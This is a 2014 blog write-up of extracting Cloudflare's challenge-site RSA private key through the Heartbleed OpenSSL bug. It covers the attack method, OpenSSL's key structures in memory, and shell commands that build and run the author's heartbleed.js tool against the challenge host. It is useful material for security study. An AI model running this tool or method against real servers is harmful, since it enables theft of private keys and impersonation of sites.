<< Home

Challenge

At April 11th 2014 Cloudflare has published a blog post suggesting to try out extracting a private key of their specially prepared challenge site using the Heartbleed OpenSSL vulnerability. Being busy at the time, I decided to give it a try a couple of hours later, if noone would crack it yet. This was a legal way to do some hackery, after all!

Method

The method of attack was following:

  1. Send a lot of random-sized fake heartbeats (without body)
  2. Try to find a 128-byte prime factor of the certificate's modulus
  3. Generate the rest of the private key's parameters out of it

I wasn't searching for a PEM-encoded private key and/or:

-----BEGIN RSA PRIVATE KEY-----

for a couple of reasons:

  • It is loaded only at the process startup
  • The key may be encrypted, and there is no point in brute forcing it

According to my tests, DER-encoded key wasn't appearing in the memory either, so trying to extract primes that are definitely in memory seem more feasible, because they are stored in the following struct in OpenSSL:

struct rsa_st
  {
  /* The first parameter is used to pickup errors where
   * this is passed instead of aEVP_PKEY, it is set to 0 */
  int pad;
  long version;
  const RSA_METHOD *meth;
  /* functional reference if 'meth' is ENGINE-provided */
  ENGINE *engine;
  BIGNUM *n;
  BIGNUM *e;
  BIGNUM *d;
  BIGNUM *p;
  BIGNUM *q;
  BIGNUM *dmp1;
  BIGNUM *dmq1;
  BIGNUM *iqmp;
  /* be careful using this if the RSA structure is shared */
  CRYPTO_EX_DATA ex_data;
  int references;
  int flags;

  /* Used to cache montgomery values */
  BN_MONT_CTX *_method_mod_n;
  BN_MONT_CTX *_method_mod_p;
  BN_MONT_CTX *_method_mod_q;

  /* all BIGNUM values are actually in the following data, if it is not
   * NULL */
  char *bignum_data;
  BN_BLINDING *blinding;
  BN_BLINDING *mt_blinding;
  };

Where BIGNUM is:

struct bignum_st
  {
  BN_ULONG *d;    /* Pointer to an array of 'BN_BITS2' bit chunks. */
  int top;    /* Index of last used d +1. */
  /* The next are internal book keeping for bn_expand. */
  int dmax;    /* Size of the d array. */
  int neg;    /* one if the number is negative */
  int flags;
  };

And d field of BIGNUM is a pointer to a little-endian representation of the number. Note that I could have been searching for a dmp1, dmpq1 or iqmp as well, but I was too lame at the time to put this in my tests.

Implementation

Being a node.js core developer, the platform choice for the extraction script was obvious to me. Unfortunately, since node.js is embedding OpenSSL and exposing only some limited amount of methods as a JavaScript API, the patch to add fake heartbeat methods was needed. (Update: patch is no longer needed, just install module from npm).

Having this at hand, the implementation was almost straightforward. It is available as an OpenSource project on github now. Here are instructions for obtaining and using it:

# Update: patch is no longer needed, just install module from npm
git clone git://github.com/indutny/heartbleed
git clone git://github.com/joyent/node -b v0.10.26 node-hb
cd node-hb
git apply ../heartbleed/node-v0.10.26.patch
./configure --prefix=$HOME/.node/0.10.26-hb
make -j24 install
ls ./node

export PATH="$HOME/.node/0.10.26-hb/bin:$PATH"

# Here it goes
npm install -g heartbleed.js

heartbleed -h cloudflarechallenge.com -c 1000 >> key.pem

Note that it won't produce any result immediately, it took me 3 hours and a certain amount of luck to obtain the key in a Cloudflare's challenge.

Created at: Wed, 16 Apr 2014 09:56:23 GMT